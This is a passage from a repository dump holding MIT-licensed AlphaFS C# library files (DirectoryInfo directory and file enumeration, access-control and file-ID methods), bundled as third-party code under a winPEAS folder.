<returns>An enumerable collection of directories in the current directory.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SecurityCritical]\n      public IEnumerable<DirectoryInfo> EnumerateDirectories()\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<DirectoryInfo>(true, Transaction, LongFullName, Path.WildcardStarMatchAll, null, null, null, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Returns an enumerable collection of directory information that matches a specified search pattern.</summary>\n      /// <returns>An enumerable collection of directories that matches <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in path.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SecurityCritical]\n      public IEnumerable<DirectoryInfo> EnumerateDirectories(string searchPattern)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<DirectoryInfo>(true, Transaction, LongFullName, searchPattern, null, null, null, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Returns an enumerable collection of directory information that matches a specified search pattern and search subdirectory option.</summary>\n      /// <returns>An enumerable collection of directories that matches <paramref name=\"searchPattern\"/> and <paramref name=\"searchOption\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in path.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      [SecurityCritical]\n      public IEnumerable<DirectoryInfo> EnumerateDirectories(string searchPattern, SearchOption searchOption)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<DirectoryInfo>(true, Transaction, LongFullName, searchPattern, searchOption, null, null, PathFormat.LongFullPath);\n      }\n\n      #endregion // .NET\n\n      \n      /// <summary>[AlphaFS] Returns an enumerable collection of directory information in the current directory.</summary>\n      /// <returns>An enumerable collection of directories in the current directory.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public IEnumerable<DirectoryInfo> EnumerateDirectories(DirectoryEnumerationOptions options)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<DirectoryInfo>(true, Transaction, LongFullName, Path.WildcardStarMatchAll, null, options, null, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of directory information that matches a specified search pattern.</summary>\n      /// <returns>An enumerable collection of directories that matches <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in path.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public IEnumerable<DirectoryInfo> EnumerateDirectories(string searchPattern, DirectoryEnumerationOptions options)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<DirectoryInfo>(true, Transaction, LongFullName, searchPattern, null, options, null, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.EnumerateFileSystemInfos.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      #region .NET\n\n      /// <summary>Returns an enumerable collection of file system information in the current directory.</summary>\n      /// <returns>An enumerable collection of file system information in the current directory. </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public IEnumerable<FileSystemInfo> EnumerateFileSystemInfos()\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<FileSystemInfo>(null, Transaction, LongFullName, Path.WildcardStarMatchAll, null, null, null, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Returns an enumerable collection of file system information that matches a specified search pattern.</summary>\n      /// <returns>An enumerable collection of file system information objects that matches <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in path.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public IEnumerable<FileSystemInfo> EnumerateFileSystemInfos(string searchPattern)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<FileSystemInfo>(null, Transaction, LongFullName, searchPattern, null, null, null, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Returns an enumerable collection of file system information that matches a specified search pattern and search subdirectory option.</summary>\n      /// <returns>An enumerable collection of file system information objects that matches <paramref name=\"searchPattern\"/> and <paramref name=\"searchOption\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in path.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public IEnumerable<FileSystemInfo> EnumerateFileSystemInfos(string searchPattern, SearchOption searchOption)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<FileSystemInfo>(null, Transaction, LongFullName, searchPattern, searchOption, null, null, PathFormat.LongFullPath);\n      }\n\n      #endregion // .NET\n\n      \n      /// <summary>[AlphaFS] Returns an enumerable collection of file system information in the current directory.</summary>\n      /// <returns>An enumerable collection of file system information in the current directory. </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public IEnumerable<FileSystemInfo> EnumerateFileSystemInfos(DirectoryEnumerationOptions options)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<FileSystemInfo>(null, Transaction, LongFullName, Path.WildcardStarMatchAll, null, options,  null, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system information that matches a specified search pattern.</summary>\n      /// <returns>An enumerable collection of file system information objects that matches <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in path.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Infos\")]\n      [SecurityCritical]\n      public IEnumerable<FileSystemInfo> EnumerateFileSystemInfos(string searchPattern, DirectoryEnumerationOptions options)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<FileSystemInfo>(null, Transaction, LongFullName, searchPattern, null, options,  null, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.EnumerateFiles.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      #region .NET\n\n      /// <summary>Returns an enumerable collection of file information in the current directory.</summary>\n      /// <returns>An enumerable collection of the files in the current directory.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SecurityCritical]\n      public IEnumerable<FileInfo> EnumerateFiles()\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<FileInfo>(false, Transaction, LongFullName, Path.WildcardStarMatchAll, null, null, null, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Returns an enumerable collection of file information that matches a search pattern.</summary>\n      /// <returns>An enumerable collection of files that matches <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in path.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SecurityCritical]\n      public IEnumerable<FileInfo> EnumerateFiles(string searchPattern)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<FileInfo>(false, Transaction, LongFullName, searchPattern, null, null, null, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Returns an enumerable collection of file information that matches a specified search pattern and search subdirectory option.</summary>\n      /// <returns>An enumerable collection of files that matches <paramref name=\"searchPattern\"/> and <paramref name=\"searchOption\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in path.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      [SecurityCritical]\n      public IEnumerable<FileInfo> EnumerateFiles(string searchPattern, SearchOption searchOption)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<FileInfo>(false, Transaction, LongFullName, searchPattern, searchOption, null, null, PathFormat.LongFullPath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file information in the current directory.</summary>\n      /// <returns>An enumerable collection of the files in the current directory.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public IEnumerable<FileInfo> EnumerateFiles(DirectoryEnumerationOptions options)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<FileInfo>(false, Transaction, LongFullName, Path.WildcardStarMatchAll, null, options, null, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Returns an enumerable collection of file information that matches a search pattern.</summary>\n      /// <returns>An enumerable collection of files that matches <paramref name=\"searchPattern\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in path.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public IEnumerable<FileInfo> EnumerateFiles(string searchPattern, DirectoryEnumerationOptions options)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<FileInfo>(false, Transaction, LongFullName, searchPattern, null, options, null, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.GetAccessControl.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      #region .NET\n\n      /// <summary>Gets a <see cref=\"DirectorySecurity\"/> object that encapsulates the access control list (ACL) entries for the directory described by the current DirectoryInfo object.</summary>\n      /// <returns>A <see cref=\"DirectorySecurity\"/> object that encapsulates the access control rules for the directory.</returns>\n      [SecurityCritical]\n      public DirectorySecurity GetAccessControl()\n      {\n         return File.GetAccessControlCore<DirectorySecurity>(true, LongFullName, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>Gets a <see cref=\"DirectorySecurity\"/> object that encapsulates the specified type of access control list (ACL) entries for the directory described by the current <see cref=\"DirectoryInfo\"/> object.</summary>\n      /// <param name=\"includeSections\">One of the <see cref=\"AccessControlSections\"/> values that specifies the type of access control list (ACL) information to receive.</param>\n      /// <returns>A <see cref=\"DirectorySecurity\"/> object that encapsulates the access control rules for the file described by the path parameter.</returns>\n      [SecurityCritical]\n      public DirectorySecurity GetAccessControl(AccessControlSections includeSections)\n      {\n         return File.GetAccessControlCore<DirectorySecurity>(true, LongFullName, includeSections, PathFormat.LongFullPath);\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.GetDirectories.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Linq;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      #region .NET\n\n      /// <summary>Returns the subdirectories of the current directory.</summary>\n      /// <returns>An array of <see cref=\"DirectoryInfo\"/> objects.</returns>\n      /// <remarks>If there are no subdirectories, this method returns an empty array. This method is not recursive.</remarks>\n      /// <remarks>\n      /// The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names\n      /// before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array.\n      /// Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient.\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SecurityCritical]\n      public DirectoryInfo[] GetDirectories()\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<DirectoryInfo>(true, Transaction, LongFullName, Path.WildcardStarMatchAll, null, null, null, PathFormat.LongFullPath).ToArray();\n      }\n\n\n      /// <summary>Returns an array of directories in the current <see cref=\"DirectoryInfo\"/> matching the given search criteria.</summary>\n      /// <returns>An array of type <see cref=\"DirectoryInfo\"/> matching <paramref name=\"searchPattern\"/>.</returns>\n      /// <remarks>\n      /// The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names\n      /// before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array.\n      /// Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient.\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in path.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SecurityCritical]\n      public DirectoryInfo[] GetDirectories(string searchPattern)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<DirectoryInfo>(true, Transaction, LongFullName, searchPattern, null, null, null, PathFormat.LongFullPath).ToArray();\n      }\n\n\n      /// <summary>Returns an array of directories in the current <see cref=\"DirectoryInfo\"/> matching the given search criteria and using a value to determine whether to search subdirectories.</summary>\n      /// <returns>An array of type <see cref=\"DirectoryInfo\"/> matching <paramref name=\"searchPattern\"/>.</returns>\n      /// <remarks>If there are no subdirectories, or no subdirectories match the searchPattern parameter, this method returns an empty array.</remarks>\n      /// <remarks>\n      /// The EnumerateDirectories and GetDirectories methods differ as follows: When you use EnumerateDirectories, you can start enumerating the collection of names\n      /// before the whole collection is returned; when you use GetDirectories, you must wait for the whole array of names to be returned before you can access the array.\n      /// Therefore, when you are working with many files and directories, EnumerateDirectories can be more efficient.\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in path.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      [SecurityCritical]\n      public DirectoryInfo[] GetDirectories(string searchPattern, SearchOption searchOption)\n      {\n         return Directory.EnumerateFileSystemEntryInfosCore<DirectoryInfo>(true, Transaction, LongFullName, searchPattern, searchOption, null, null, PathFormat.LongFullPath).ToArray();\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.GetFileIdInfo.cs",
    "content": "﻿/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>[AlphaFS] Gets the unique identifier for the directory. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier.</summary>\n      /// <returns>A <see cref=\"FileIdInfo\"/> instance containing the requested information.</returns>\n      /// <remarks>Directory IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a directory can change over time.</remarks>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1024:UsePropertiesWhereAppropriate\")]\n      [SecurityCritical]\n      public FileIdInfo GetFileIdInfo()\n      {\n         return File.GetFileIdInfoCore(Transaction, true, LongFullName, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.GetFileSystemInfos.cs",
